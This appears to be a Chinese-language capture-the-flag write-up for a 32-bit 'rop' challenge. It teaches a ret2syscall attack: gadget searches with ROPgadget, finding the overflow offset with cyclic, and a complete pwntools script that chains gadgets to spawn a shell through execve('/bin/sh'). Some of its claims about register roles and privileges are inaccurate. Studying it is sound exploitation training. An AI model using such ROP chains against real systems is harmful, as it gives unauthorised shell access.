该题目是在32位下
目录
先进行checksec
ida
1.execve()
2.寄存器
3.我们需要先看看execve()函数的函数调用号
4.使用ROPgadget来查看
我们先进行查看eax|ret
查看 pop ebx,ecx,edx,ret
查找 /bin/sh的地址
查找int 0x80
5.查看字符偏移量
附上流程图
发现栈溢出函数 这次我们学习的是系统调用 执行/bin/sh
这个是通过系统调用函数 就是存放在系统中的函数来执行shellcode
这种类型是没有存在shellcdoe的
我们这次要使用到的函数是
类似python中的os.system(cmd) 可以以管理员权限执行函数
这个函数和system()函数的差别就是 会不会返回
system() 会在执行完后进行返回 完成
execve()在语句执行完后不会返回
eax通常使用与存放函数进行传递和进行系统调用
大多数都是运用eax进行系统调用
ebx ecx edx进行参数的传递
我们这个就是运用 这个概念
通过eax进行调用系统函数
再通过ecx,ebx,edx进行函数的参数传递
ecx通常用于传递第一参数,edx用于传递第二参数,ebx用于传递第三参数
但是要凭借情况而定 这道题就是找到操作进行
这个是查看所有的函数号
cd /usr/include/asm
vim unistd_32.h
这个是直接找execve()的函数号
cat /usr/include/asm/unistd_32.h | grep execve
grep是高级搜索 字符串
来查看 pop eax ret指令
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
能发现出现了 pop eax ;ret 这就是我们需要的操作 记下他的地址
pop_eax_ret=p32(0x080bb196)
通过高级搜索 看看 pop ebx,ret的操作
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
返回来很多 有出现 pop ebx,ret
但是其中还有一个
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
出现了我们需要的全部 就是顺序不一样 所以这个变为
ebx为第一参数 ecx为第二参数 edx 为第三参数
pop_other_ret=p32(0x0806eb90)
这就解释为什么和上面我说一般来说参数的分配不一样 还有为什么流程图/bin/sh在ebx
ROPgadget --binary rop --string '/bin/sh'
得到了地址
bin_add=p32(0x080be408)
int 0x80
是一种在Linux操作系统中使用的系统调用调用方式,它会触发中断信号并将控制权转移到内核态,在内核中执行相应的系统调用功能。该指令通常用于在用户空间中调用底层内核接口,例如文件操作、进程管理等。
但是现在 这个已经给其他调用方法替代了 存在历史性
ROPgadget --binary rop --only 'int'
int_add=p32(0x08049421)
这样我们就得到了所有的地址
gdb打开
cyclic 200
r
cyclic -l daab
我们开始编写exp
from pwn import *
p=process('./rop')
pop_eax_ret=p32(0x080bb196)
pop_other_ret=p32(0x0806eb90)
bin_add=p32(0x080be408)
int_add=p32(0x08049421)
payload=b'A'*112+pop_eax_ret+p32(0xb)+pop_other_ret+p32(0)+p32(0)+bin_add+int_add
p.sendline(payload)
p.interactive()
实现了控制器
execve('/bin/sh',0,0)